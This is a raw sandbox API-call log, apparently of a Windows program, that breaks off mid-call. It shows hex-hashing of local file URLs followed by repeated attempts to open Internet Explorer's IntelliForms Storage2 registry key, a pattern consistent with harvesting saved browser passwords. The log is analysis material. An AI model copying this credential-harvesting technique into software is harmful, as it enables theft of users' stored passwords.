lstrcatA (in: lpString1="B42A9C777A5E2DBE2FB2C6CD5457", lpString2="72" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD545772") returned="B42A9C777A5E2DBE2FB2C6CD545772" [0077.917] LocalFree (hMem=0x652818) returned 0x0 [0077.917] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CD") returned 2 [0077.917] lstrlenA (lpString="B42A9C777A5E2DBE2FB2C6CD545772") returned 30 [0077.917] lstrlenA (lpString="CD") returned 2 [0077.917] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0077.917] lstrcpyA (in: lpString1=0x6292f8, lpString2="B42A9C777A5E2DBE2FB2C6CD545772" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD545772") returned="B42A9C777A5E2DBE2FB2C6CD545772" [0077.917] lstrcatA (in: lpString1="B42A9C777A5E2DBE2FB2C6CD545772", lpString2="CD" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD545772CD") returned="B42A9C777A5E2DBE2FB2C6CD545772CD" [0077.917] LocalFree (hMem=0x652770) returned 0x0 [0077.917] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E5") returned 2 [0077.917] lstrlenA (lpString="B42A9C777A5E2DBE2FB2C6CD545772CD") returned 32 [0077.917] lstrlenA (lpString="E5") returned 2 [0077.917] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0077.917] lstrcpyA (in: lpString1=0x6293a8, lpString2="B42A9C777A5E2DBE2FB2C6CD545772CD" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD545772CD") returned="B42A9C777A5E2DBE2FB2C6CD545772CD" [0077.917] lstrcatA (in: lpString1="B42A9C777A5E2DBE2FB2C6CD545772CD", lpString2="E5" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD545772CDE5") returned="B42A9C777A5E2DBE2FB2C6CD545772CDE5" [0077.917] LocalFree (hMem=0x6292f8) returned 0x0 [0077.917] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="91") returned 2 [0077.917] lstrlenA (lpString="B42A9C777A5E2DBE2FB2C6CD545772CDE5") returned 34 [0077.917] lstrlenA (lpString="91") returned 2 [0077.917] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0077.917] lstrcpyA (in: lpString1=0x6292f8, lpString2="B42A9C777A5E2DBE2FB2C6CD545772CDE5" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD545772CDE5") returned="B42A9C777A5E2DBE2FB2C6CD545772CDE5" [0077.917] lstrcatA (in: lpString1="B42A9C777A5E2DBE2FB2C6CD545772CDE5", lpString2="91" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD545772CDE591") returned="B42A9C777A5E2DBE2FB2C6CD545772CDE591" [0077.917] LocalFree (hMem=0x6293a8) returned 0x0 [0077.918] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="44") returned 2 [0077.918] lstrlenA (lpString="B42A9C777A5E2DBE2FB2C6CD545772CDE591") returned 36 [0077.918] lstrlenA (lpString="44") returned 2 [0077.918] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0077.918] lstrcpyA (in: lpString1=0x6293a8, lpString2="B42A9C777A5E2DBE2FB2C6CD545772CDE591" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD545772CDE591") returned="B42A9C777A5E2DBE2FB2C6CD545772CDE591" [0077.918] lstrcatA (in: lpString1="B42A9C777A5E2DBE2FB2C6CD545772CDE591", lpString2="44" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD545772CDE59144") returned="B42A9C777A5E2DBE2FB2C6CD545772CDE59144" [0077.918] LocalFree (hMem=0x6292f8) returned 0x0 [0077.918] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A2") returned 2 [0077.918] lstrlenA (lpString="B42A9C777A5E2DBE2FB2C6CD545772CDE59144") returned 38 [0077.918] lstrlenA (lpString="A2") returned 2 [0077.918] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647668 [0077.918] lstrcpyA (in: lpString1=0x647668, lpString2="B42A9C777A5E2DBE2FB2C6CD545772CDE59144" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD545772CDE59144") returned="B42A9C777A5E2DBE2FB2C6CD545772CDE59144" [0077.918] lstrcatA (in: lpString1="B42A9C777A5E2DBE2FB2C6CD545772CDE59144", lpString2="A2" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD545772CDE59144A2") returned="B42A9C777A5E2DBE2FB2C6CD545772CDE59144A2" [0077.918] LocalFree (hMem=0x6293a8) returned 0x0 [0077.918] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6E") returned 2 [0077.918] lstrlenA (lpString="B42A9C777A5E2DBE2FB2C6CD545772CDE59144A2") returned 40 [0077.918] lstrlenA (lpString="6E") returned 2 [0077.918] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x6477d8 [0077.918] lstrcpyA (in: lpString1=0x6477d8, lpString2="B42A9C777A5E2DBE2FB2C6CD545772CDE59144A2" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD545772CDE59144A2") returned="B42A9C777A5E2DBE2FB2C6CD545772CDE59144A2" [0077.918] lstrcatA (in: lpString1="B42A9C777A5E2DBE2FB2C6CD545772CDE59144A2", lpString2="6E" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD545772CDE59144A26E") returned="B42A9C777A5E2DBE2FB2C6CD545772CDE59144A26E" [0077.918] LocalFree (hMem=0x647668) returned 0x0 [0077.918] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.918] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.918] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.918] LocalFree (hMem=0x6477d8) returned 0x0 [0077.919] CoTaskMemFree (pv=0x610240) [0077.919] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/ouo1CE9Vu1S-/pooLV0.bmp", lpSrch="?") returned 0x0 [0077.919] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/ouo1CE9Vu1S-/pooLV0.bmp") returned 73 [0077.919] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="93") returned 2 [0077.919] lstrlenA (lpString="") returned 0 [0077.919] lstrlenA (lpString="93") returned 2 [0077.919] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x655280 [0077.919] lstrcpyA (in: lpString1=0x655280, lpString2="" | out: lpString1="") returned="" [0077.919] lstrcatA (in: lpString1="", lpString2="93" | out: lpString1="93") returned="93" [0077.919] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="32") returned 2 [0077.919] lstrlenA (lpString="93") returned 2 [0077.919] lstrlenA (lpString="32") returned 2 [0077.919] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x655310 [0077.919] lstrcpyA (in: lpString1=0x655310, lpString2="93" | out: lpString1="93") returned="93" [0077.919] lstrcatA (in: lpString1="93", lpString2="32" | out: lpString1="9332") returned="9332" [0077.919] LocalFree (hMem=0x655280) returned 0x0 [0077.919] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="2A") returned 2 [0077.919] lstrlenA (lpString="9332") returned 4 [0077.919] lstrlenA (lpString="2A") returned 2 [0077.919] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x655280 [0077.919] lstrcpyA (in: lpString1=0x655280, lpString2="9332" | out: lpString1="9332") returned="9332" [0077.919] lstrcatA (in: lpString1="9332", lpString2="2A" | out: lpString1="93322A") returned="93322A" [0077.919] LocalFree (hMem=0x655310) returned 0x0 [0077.919] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="3F") returned 2 [0077.919] lstrlenA (lpString="93322A") returned 6 [0077.919] lstrlenA (lpString="3F") returned 2 [0077.919] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x655310 [0077.919] lstrcpyA (in: lpString1=0x655310, lpString2="93322A" | out: lpString1="93322A") returned="93322A" [0077.919] lstrcatA (in: lpString1="93322A", lpString2="3F" | out: lpString1="93322A3F") returned="93322A3F" [0077.919] LocalFree (hMem=0x655280) returned 0x0 [0077.919] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="08") returned 2 [0077.919] lstrlenA (lpString="93322A3F") returned 8 [0077.919] lstrlenA (lpString="08") returned 2 [0077.919] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x6553a8 [0077.919] lstrcpyA (in: lpString1=0x6553a8, lpString2="93322A3F" | out: lpString1="93322A3F") returned="93322A3F" [0077.919] lstrcatA (in: lpString1="93322A3F", lpString2="08" | out: lpString1="93322A3F08") returned="93322A3F08" [0077.920] LocalFree (hMem=0x655310) returned 0x0 [0077.920] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="1F") returned 2 [0077.920] lstrlenA (lpString="93322A3F08") returned 10 [0077.920] lstrlenA (lpString="1F") returned 2 [0077.920] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x655280 [0077.920] lstrcpyA (in: lpString1=0x655280, lpString2="93322A3F08" | out: lpString1="93322A3F08") returned="93322A3F08" [0077.920] lstrcatA (in: lpString1="93322A3F08", lpString2="1F" | out: lpString1="93322A3F081F") returned="93322A3F081F" [0077.920] LocalFree (hMem=0x6553a8) returned 0x0 [0077.920] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C7") returned 2 [0077.920] lstrlenA (lpString="93322A3F081F") returned 12 [0077.920] lstrlenA (lpString="C7") returned 2 [0077.920] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x655318 [0077.920] lstrcpyA (in: lpString1=0x655318, lpString2="93322A3F081F" | out: lpString1="93322A3F081F") returned="93322A3F081F" [0077.920] lstrcatA (in: lpString1="93322A3F081F", lpString2="C7" | out: lpString1="93322A3F081FC7") returned="93322A3F081FC7" [0077.920] LocalFree (hMem=0x655280) returned 0x0 [0077.920] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F0") returned 2 [0077.920] lstrlenA (lpString="93322A3F081FC7") returned 14 [0077.920] lstrlenA (lpString="F0") returned 2 [0077.920] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x6553b0 [0077.920] lstrcpyA (in: lpString1=0x6553b0, lpString2="93322A3F081FC7" | out: lpString1="93322A3F081FC7") returned="93322A3F081FC7" [0077.920] lstrcatA (in: lpString1="93322A3F081FC7", lpString2="F0" | out: lpString1="93322A3F081FC7F0") returned="93322A3F081FC7F0" [0077.920] LocalFree (hMem=0x655318) returned 0x0 [0077.920] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="67") returned 2 [0077.920] lstrlenA (lpString="93322A3F081FC7F0") returned 16 [0077.920] lstrlenA (lpString="67") returned 2 [0077.920] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x655280 [0077.920] lstrcpyA (in: lpString1=0x655280, lpString2="93322A3F081FC7F0" | out: lpString1="93322A3F081FC7F0") returned="93322A3F081FC7F0" [0077.920] lstrcatA (in: lpString1="93322A3F081FC7F0", lpString2="67" | out: lpString1="93322A3F081FC7F067") returned="93322A3F081FC7F067" [0077.920] LocalFree (hMem=0x6553b0) returned 0x0 [0077.920] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="4A") returned 2 [0077.920] lstrlenA (lpString="93322A3F081FC7F067") returned 18 [0077.920] lstrlenA (lpString="4A") returned 2 [0077.920] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x655320 [0077.920] lstrcpyA (in: lpString1=0x655320, lpString2="93322A3F081FC7F067" | out: lpString1="93322A3F081FC7F067") returned="93322A3F081FC7F067" [0077.920] lstrcatA (in: lpString1="93322A3F081FC7F067", lpString2="4A" | out: lpString1="93322A3F081FC7F0674A") returned="93322A3F081FC7F0674A" [0077.920] LocalFree (hMem=0x655280) returned 0x0 [0077.920] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="19") returned 2 [0077.920] lstrlenA (lpString="93322A3F081FC7F0674A") returned 20 [0077.920] lstrlenA (lpString="19") returned 2 [0077.920] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x655280 [0077.920] lstrcpyA (in: lpString1=0x655280, lpString2="93322A3F081FC7F0674A" | out: lpString1="93322A3F081FC7F0674A") returned="93322A3F081FC7F0674A" [0077.920] lstrcatA (in: lpString1="93322A3F081FC7F0674A", lpString2="19" | out: lpString1="93322A3F081FC7F0674A19") returned="93322A3F081FC7F0674A19" [0077.921] LocalFree (hMem=0x655320) returned 0x0 [0077.921] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="87") returned 2 [0077.921] lstrlenA (lpString="93322A3F081FC7F0674A19") returned 22 [0077.921] lstrlenA (lpString="87") returned 2 [0077.921] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652770 [0077.921] lstrcpyA (in: lpString1=0x652770, lpString2="93322A3F081FC7F0674A19" | out: lpString1="93322A3F081FC7F0674A19") returned="93322A3F081FC7F0674A19" [0077.921] lstrcatA (in: lpString1="93322A3F081FC7F0674A19", lpString2="87" | out: lpString1="93322A3F081FC7F0674A1987") returned="93322A3F081FC7F0674A1987" [0077.921] LocalFree (hMem=0x655280) returned 0x0 [0077.921] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6E") returned 2 [0077.921] lstrlenA (lpString="93322A3F081FC7F0674A1987") returned 24 [0077.921] lstrlenA (lpString="6E") returned 2 [0077.921] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652818 [0077.921] lstrcpyA (in: lpString1=0x652818, lpString2="93322A3F081FC7F0674A1987" | out: lpString1="93322A3F081FC7F0674A1987") returned="93322A3F081FC7F0674A1987" [0077.921] lstrcatA (in: lpString1="93322A3F081FC7F0674A1987", lpString2="6E" | out: lpString1="93322A3F081FC7F0674A19876E") returned="93322A3F081FC7F0674A19876E" [0077.921] LocalFree (hMem=0x652770) returned 0x0 [0077.921] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="24") returned 2 [0077.921] lstrlenA (lpString="93322A3F081FC7F0674A19876E") returned 26 [0077.921] lstrlenA (lpString="24") returned 2 [0077.921] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652770 [0077.921] lstrcpyA (in: lpString1=0x652770, lpString2="93322A3F081FC7F0674A19876E" | out: lpString1="93322A3F081FC7F0674A19876E") returned="93322A3F081FC7F0674A19876E" [0077.921] lstrcatA (in: lpString1="93322A3F081FC7F0674A19876E", lpString2="24" | out: lpString1="93322A3F081FC7F0674A19876E24") returned="93322A3F081FC7F0674A19876E24" [0077.921] LocalFree (hMem=0x652818) returned 0x0 [0077.921] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="98") returned 2 [0077.921] lstrlenA (lpString="93322A3F081FC7F0674A19876E24") returned 28 [0077.921] lstrlenA (lpString="98") returned 2 [0077.921] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652818 [0077.921] lstrcpyA (in: lpString1=0x652818, lpString2="93322A3F081FC7F0674A19876E24" | out: lpString1="93322A3F081FC7F0674A19876E24") returned="93322A3F081FC7F0674A19876E24" [0077.921] lstrcatA (in: lpString1="93322A3F081FC7F0674A19876E24", lpString2="98" | out: lpString1="93322A3F081FC7F0674A19876E2498") returned="93322A3F081FC7F0674A19876E2498" [0077.921] LocalFree (hMem=0x652770) returned 0x0 [0077.921] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="13") returned 2 [0077.921] lstrlenA (lpString="93322A3F081FC7F0674A19876E2498") returned 30 [0077.921] lstrlenA (lpString="13") returned 2 [0077.921] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0077.921] lstrcpyA (in: lpString1=0x6293a8, lpString2="93322A3F081FC7F0674A19876E2498" | out: lpString1="93322A3F081FC7F0674A19876E2498") returned="93322A3F081FC7F0674A19876E2498" [0077.921] lstrcatA (in: lpString1="93322A3F081FC7F0674A19876E2498", lpString2="13" | out: lpString1="93322A3F081FC7F0674A19876E249813") returned="93322A3F081FC7F0674A19876E249813" [0077.921] LocalFree (hMem=0x652818) returned 0x0 [0077.921] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CC") returned 2 [0077.922] lstrlenA (lpString="93322A3F081FC7F0674A19876E249813") returned 32 [0077.922] lstrlenA (lpString="CC") returned 2 [0077.922] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0077.922] lstrcpyA (in: lpString1=0x6292f8, lpString2="93322A3F081FC7F0674A19876E249813" | out: lpString1="93322A3F081FC7F0674A19876E249813") returned="93322A3F081FC7F0674A19876E249813" [0077.922] lstrcatA (in: lpString1="93322A3F081FC7F0674A19876E249813", lpString2="CC" | out: lpString1="93322A3F081FC7F0674A19876E249813CC") returned="93322A3F081FC7F0674A19876E249813CC" [0077.922] LocalFree (hMem=0x6293a8) returned 0x0 [0077.922] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CC") returned 2 [0077.922] lstrlenA (lpString="93322A3F081FC7F0674A19876E249813CC") returned 34 [0077.922] lstrlenA (lpString="CC") returned 2 [0077.922] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0077.922] lstrcpyA (in: lpString1=0x6293a8, lpString2="93322A3F081FC7F0674A19876E249813CC" | out: lpString1="93322A3F081FC7F0674A19876E249813CC") returned="93322A3F081FC7F0674A19876E249813CC" [0077.922] lstrcatA (in: lpString1="93322A3F081FC7F0674A19876E249813CC", lpString2="CC" | out: lpString1="93322A3F081FC7F0674A19876E249813CCCC") returned="93322A3F081FC7F0674A19876E249813CCCC" [0077.922] LocalFree (hMem=0x6292f8) returned 0x0 [0077.922] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="AA") returned 2 [0077.922] lstrlenA (lpString="93322A3F081FC7F0674A19876E249813CCCC") returned 36 [0077.922] lstrlenA (lpString="AA") returned 2 [0077.922] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0077.922] lstrcpyA (in: lpString1=0x6292f8, lpString2="93322A3F081FC7F0674A19876E249813CCCC" | out: lpString1="93322A3F081FC7F0674A19876E249813CCCC") returned="93322A3F081FC7F0674A19876E249813CCCC" [0077.922] lstrcatA (in: lpString1="93322A3F081FC7F0674A19876E249813CCCC", lpString2="AA" | out: lpString1="93322A3F081FC7F0674A19876E249813CCCCAA") returned="93322A3F081FC7F0674A19876E249813CCCCAA" [0077.922] LocalFree (hMem=0x6293a8) returned 0x0 [0077.922] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BB") returned 2 [0077.922] lstrlenA (lpString="93322A3F081FC7F0674A19876E249813CCCCAA") returned 38 [0077.922] lstrlenA (lpString="BB") returned 2 [0077.922] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x6477d8 [0077.922] lstrcpyA (in: lpString1=0x6477d8, lpString2="93322A3F081FC7F0674A19876E249813CCCCAA" | out: lpString1="93322A3F081FC7F0674A19876E249813CCCCAA") returned="93322A3F081FC7F0674A19876E249813CCCCAA" [0077.922] lstrcatA (in: lpString1="93322A3F081FC7F0674A19876E249813CCCCAA", lpString2="BB" | out: lpString1="93322A3F081FC7F0674A19876E249813CCCCAABB") returned="93322A3F081FC7F0674A19876E249813CCCCAABB" [0077.922] LocalFree (hMem=0x6292f8) returned 0x0 [0077.922] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="97") returned 2 [0077.922] lstrlenA (lpString="93322A3F081FC7F0674A19876E249813CCCCAABB") returned 40 [0077.922] lstrlenA (lpString="97") returned 2 [0077.922] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647668 [0077.922] lstrcpyA (in: lpString1=0x647668, lpString2="93322A3F081FC7F0674A19876E249813CCCCAABB" | out: lpString1="93322A3F081FC7F0674A19876E249813CCCCAABB") returned="93322A3F081FC7F0674A19876E249813CCCCAABB" [0077.922] lstrcatA (in: lpString1="93322A3F081FC7F0674A19876E249813CCCCAABB", lpString2="97" | out: lpString1="93322A3F081FC7F0674A19876E249813CCCCAABB97") returned="93322A3F081FC7F0674A19876E249813CCCCAABB97" [0077.923] LocalFree (hMem=0x6477d8) returned 0x0 [0077.923] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.923] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.923] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.923] LocalFree (hMem=0x647668) returned 0x0 [0077.923] CoTaskMemFree (pv=0x6551e0) [0077.925] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/_%20JL3UT24mR-zV%20I-9.bmp", lpSrch="?") returned 0x0 [0077.925] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/_%20JL3UT24mR-zV%20I-9.bmp") returned 76 [0077.925] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="44") returned 2 [0077.925] lstrlenA (lpString="") returned 0 [0077.925] lstrlenA (lpString="44") returned 2 [0077.925] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x6553d8 [0077.925] lstrcpyA (in: lpString1=0x6553d8, lpString2="" | out: lpString1="") returned="" [0077.925] lstrcatA (in: lpString1="", lpString2="44" | out: lpString1="44") returned="44" [0077.925] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="37") returned 2 [0077.925] lstrlenA (lpString="44") returned 2 [0077.925] lstrlenA (lpString="37") returned 2 [0077.925] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x655468 [0077.925] lstrcpyA (in: lpString1=0x655468, lpString2="44" | out: lpString1="44") returned="44" [0077.925] lstrcatA (in: lpString1="44", lpString2="37" | out: lpString1="4437") returned="4437" [0077.925] LocalFree (hMem=0x6553d8) returned 0x0 [0077.925] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="24") returned 2 [0077.925] lstrlenA (lpString="4437") returned 4 [0077.925] lstrlenA (lpString="24") returned 2 [0077.925] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x6553d8 [0077.925] lstrcpyA (in: lpString1=0x6553d8, lpString2="4437" | out: lpString1="4437") returned="4437" [0077.925] lstrcatA (in: lpString1="4437", lpString2="24" | out: lpString1="443724") returned="443724" [0077.925] LocalFree (hMem=0x655468) returned 0x0 [0077.925] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D0") returned 2 [0077.925] lstrlenA (lpString="443724") returned 6 [0077.925] lstrlenA (lpString="D0") returned 2 [0077.925] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x655468 [0077.925] lstrcpyA (in: lpString1=0x655468, lpString2="443724" | out: lpString1="443724") returned="443724" [0077.925] lstrcatA (in: lpString1="443724", lpString2="D0" | out: lpString1="443724D0") returned="443724D0" [0077.926] LocalFree (hMem=0x6553d8) returned 0x0 [0077.926] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="45") returned 2 [0077.926] lstrlenA (lpString="443724D0") returned 8 [0077.926] lstrlenA (lpString="45") returned 2 [0077.926] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x655500 [0077.926] lstrcpyA (in: lpString1=0x655500, lpString2="443724D0" | out: lpString1="443724D0") returned="443724D0" [0077.926] lstrcatA (in: lpString1="443724D0", lpString2="45" | out: lpString1="443724D045") returned="443724D045" [0077.926] LocalFree (hMem=0x655468) returned 0x0 [0077.926] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="03") returned 2 [0077.926] lstrlenA (lpString="443724D045") returned 10 [0077.926] lstrlenA (lpString="03") returned 2 [0077.926] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x6553d8 [0077.926] lstrcpyA (in: lpString1=0x6553d8, lpString2="443724D045" | out: lpString1="443724D045") returned="443724D045" [0077.926] lstrcatA (in: lpString1="443724D045", lpString2="03" | out: lpString1="443724D04503") returned="443724D04503" [0077.926] LocalFree (hMem=0x655500) returned 0x0 [0077.926] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="AD") returned 2 [0077.926] lstrlenA (lpString="443724D04503") returned 12 [0077.926] lstrlenA (lpString="AD") returned 2 [0077.926] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x655470 [0077.926] lstrcpyA (in: lpString1=0x655470, lpString2="443724D04503" | out: lpString1="443724D04503") returned="443724D04503" [0077.926] lstrcatA (in: lpString1="443724D04503", lpString2="AD" | out: lpString1="443724D04503AD") returned="443724D04503AD" [0077.926] LocalFree (hMem=0x6553d8) returned 0x0 [0077.926] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FD") returned 2 [0077.926] lstrlenA (lpString="443724D04503AD") returned 14 [0077.926] lstrlenA (lpString="FD") returned 2 [0077.926] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x655508 [0077.926] lstrcpyA (in: lpString1=0x655508, lpString2="443724D04503AD" | out: lpString1="443724D04503AD") returned="443724D04503AD" [0077.926] lstrcatA (in: lpString1="443724D04503AD", lpString2="FD" | out: lpString1="443724D04503ADFD") returned="443724D04503ADFD" [0077.926] LocalFree (hMem=0x655470) returned 0x0 [0077.926] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="57") returned 2 [0077.926] lstrlenA (lpString="443724D04503ADFD") returned 16 [0077.926] lstrlenA (lpString="57") returned 2 [0077.926] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x6553d8 [0077.926] lstrcpyA (in: lpString1=0x6553d8, lpString2="443724D04503ADFD" | out: lpString1="443724D04503ADFD") returned="443724D04503ADFD" [0077.926] lstrcatA (in: lpString1="443724D04503ADFD", lpString2="57" | out: lpString1="443724D04503ADFD57") returned="443724D04503ADFD57" [0077.926] LocalFree (hMem=0x655508) returned 0x0 [0077.926] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="0B") returned 2 [0077.926] lstrlenA (lpString="443724D04503ADFD57") returned 18 [0077.926] lstrlenA (lpString="0B") returned 2 [0077.927] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x655478 [0077.927] lstrcpyA (in: lpString1=0x655478, lpString2="443724D04503ADFD57" | out: lpString1="443724D04503ADFD57") returned="443724D04503ADFD57" [0077.927] lstrcatA (in: lpString1="443724D04503ADFD57", lpString2="0B" | out: lpString1="443724D04503ADFD570B") returned="443724D04503ADFD570B" [0077.927] LocalFree (hMem=0x6553d8) returned 0x0 [0077.927] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="65") returned 2 [0077.927] lstrlenA (lpString="443724D04503ADFD570B") returned 20 [0077.927] lstrlenA (lpString="65") returned 2 [0077.927] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x6553d8 [0077.927] lstrcpyA (in: lpString1=0x6553d8, lpString2="443724D04503ADFD570B" | out: lpString1="443724D04503ADFD570B") returned="443724D04503ADFD570B" [0077.927] lstrcatA (in: lpString1="443724D04503ADFD570B", lpString2="65" | out: lpString1="443724D04503ADFD570B65") returned="443724D04503ADFD570B65" [0077.927] LocalFree (hMem=0x655478) returned 0x0 [0077.927] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="8C") returned 2 [0077.927] lstrlenA (lpString="443724D04503ADFD570B65") returned 22 [0077.927] lstrlenA (lpString="8C") returned 2 [0077.927] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652a10 [0077.927] lstrcpyA (in: lpString1=0x652a10, lpString2="443724D04503ADFD570B65" | out: lpString1="443724D04503ADFD570B65") returned="443724D04503ADFD570B65" [0077.927] lstrcatA (in: lpString1="443724D04503ADFD570B65", lpString2="8C" | out: lpString1="443724D04503ADFD570B658C") returned="443724D04503ADFD570B658C" [0077.927] LocalFree (hMem=0x6553d8) returned 0x0 [0077.927] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="00") returned 2 [0077.927] lstrlenA (lpString="443724D04503ADFD570B658C") returned 24 [0077.927] lstrlenA (lpString="00") returned 2 [0077.927] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652ab8 [0077.927] lstrcpyA (in: lpString1=0x652ab8, lpString2="443724D04503ADFD570B658C" | out: lpString1="443724D04503ADFD570B658C") returned="443724D04503ADFD570B658C" [0077.927] lstrcatA (in: lpString1="443724D04503ADFD570B658C", lpString2="00" | out: lpString1="443724D04503ADFD570B658C00") 